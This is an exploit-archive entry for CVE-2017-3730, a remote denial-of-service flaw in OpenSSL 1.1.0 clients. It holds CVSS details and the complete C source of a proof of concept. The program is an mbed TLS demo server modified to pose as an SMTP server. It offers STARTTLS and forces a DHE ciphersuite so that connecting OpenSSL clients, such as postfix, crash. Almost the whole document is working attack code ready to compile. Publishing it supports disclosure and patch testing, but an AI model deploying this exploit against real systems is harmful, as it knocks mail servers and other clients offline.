OpenSSL 1.1.0 Remote Client Denial Of Service

2017.01.31
Credit: Guido Vranken
Risk: Medium
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

// Source: https://guidovranken.wordpress.com/2017/01/26/cve-2017-3730-openssl-1-1-0-remote-client-denial-of-service-affects-servers-as-well-poc/ /* * SSL server demonstration program * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ /* Taken from mbed TLS programs/ssl/ssl_server.c and modified to crash postfix. * Belongs to https://github.com/guidovranken/CVE-2017-3730 */ #include <stdlib.h> #include <string.h> #include "mbedtls/entropy.h" #include "mbedtls/ctr_drbg.h" #include "mbedtls/certs.h" #include "mbedtls/x509.h" #include "mbedtls/ssl.h" #include "mbedtls/net_sockets.h" #include "mbedtls/error.h" #include "mbedtls/debug.h" static int write_and_get_response( mbedtls_net_context *sock_fd, char *buf, size_t len ) { int ret; if ( (ret = mbedtls_net_send( sock_fd, (unsigned char*)buf, strlen(buf) )) <= 0 ) { return -1; } memset( buf, 0, len ); ret = mbedtls_net_recv( sock_fd, (unsigned char*)buf, len ); return ret; } int main( void ) { int ret; mbedtls_net_context listen_fd, client_fd; char buf[1024]; const char *pers = "ssl_server"; int force_ciphersuite[2]; mbedtls_entropy_context entropy; mbedtls_ctr_drbg_context ctr_drbg; mbedtls_ssl_context ssl; mbedtls_ssl_config conf; mbedtls_x509_crt srvcert; mbedtls_pk_context pkey; mbedtls_net_init( &listen_fd ); mbedtls_net_init( &client_fd ); mbedtls_ssl_init( &ssl ); mbedtls_ssl_config_init( &conf ); mbedtls_x509_crt_init( &srvcert ); mbedtls_pk_init( &pkey ); mbedtls_entropy_init( &entropy ); mbedtls_ctr_drbg_init( &ctr_drbg ); ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_srv_crt, mbedtls_test_srv_crt_len ); if( ret != 0 ) { goto exit; } ret = mbedtls_x509_crt_parse( &srvcert, (const unsigned char *) mbedtls_test_cas_pem, mbedtls_test_cas_pem_len ); if( ret != 0 ) { goto exit; } ret = mbedtls_pk_parse_key( &pkey, (const unsigned char *) mbedtls_test_srv_key, mbedtls_test_srv_key_len, NULL, 0 ); if( ret != 0 ) { goto exit; } if( ( ret = mbedtls_net_bind( &listen_fd, NULL, "8888", MBEDTLS_NET_PROTO_TCP ) ) != 0 ) { goto exit; } if( ( ret = mbedtls_ctr_drbg_seed( &ctr_drbg, mbedtls_entropy_func, &entropy, (const unsigned char *) pers, strlen( pers ) ) ) != 0 ) { goto exit; } if( ( ret = mbedtls_ssl_config_defaults( &conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT ) ) != 0 ) { goto exit; } mbedtls_ssl_conf_rng( &conf, mbedtls_ctr_drbg_random, &ctr_drbg ); mbedtls_ssl_conf_ca_chain( &conf, srvcert.next, NULL ); if( ( ret = mbedtls_ssl_conf_own_cert( &conf, &srvcert, &pkey ) ) != 0 ) { goto exit; } force_ciphersuite[0] = mbedtls_ssl_get_ciphersuite_id( "TLS-DHE-RSA-WITH-AES-256-GCM-SHA384" ); force_ciphersuite[1] = 0; mbedtls_ssl_conf_ciphersuites( &conf, force_ciphersuite ); if( ( ret = mbedtls_ssl_setup( &ssl, &conf ) ) != 0 ) { goto exit; } reset: mbedtls_net_free( &client_fd ); mbedtls_ssl_session_reset( &ssl ); if( ( ret = mbedtls_net_accept( &listen_fd, &client_fd, NULL, 0, NULL ) ) != 0 ) { goto exit; } sprintf(buf, "220 ok\n"); ret = write_and_get_response( &client_fd, buf, sizeof(buf)); if ( ret < 5 ) { goto exit; } if ( strncmp(buf, "EHLO ", 5) != 0 ) { goto exit; } sprintf(buf, "250-SIZE 157286400\n250-8BITMIME\n250-STARTTLS\n250-ENHANCEDSTATUSCODES\n250-PIPELINING\n250-CHUNKING\n250 SMTPUTF8\n"); ret = write_and_get_response( &client_fd, buf, sizeof(buf)); if ( ret < 8 ) { goto exit; } if ( strncmp(buf, "STARTTLS", 8) != 0 ) { goto exit; } sprintf(buf, "220 ok\n"); ret = mbedtls_net_send( &client_fd, (unsigned char*)buf, strlen(buf) ); if ( ret < 0 ) { goto exit; } mbedtls_ssl_set_bio( &ssl, &client_fd, mbedtls_net_send, mbedtls_net_recv, NULL ); while( ( ret = mbedtls_ssl_handshake( &ssl ) ) != 0 ) { if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE ) { goto reset; } } while( ( ret = mbedtls_ssl_close_notify( &ssl ) ) < 0 ) { if( ret != MBEDTLS_ERR_SSL_WANT_READ && ret != MBEDTLS_ERR_SSL_WANT_WRITE ) { goto reset; } } ret = 0; goto reset; exit: mbedtls_net_free( &client_fd ); mbedtls_net_free( &listen_fd ); mbedtls_x509_crt_free( &srvcert ); mbedtls_pk_free( &pkey ); mbedtls_ssl_free( &ssl ); mbedtls_ssl_config_free( &conf ); mbedtls_ctr_drbg_free( &ctr_drbg ); mbedtls_entropy_free( &entropy ); return( ret ); }


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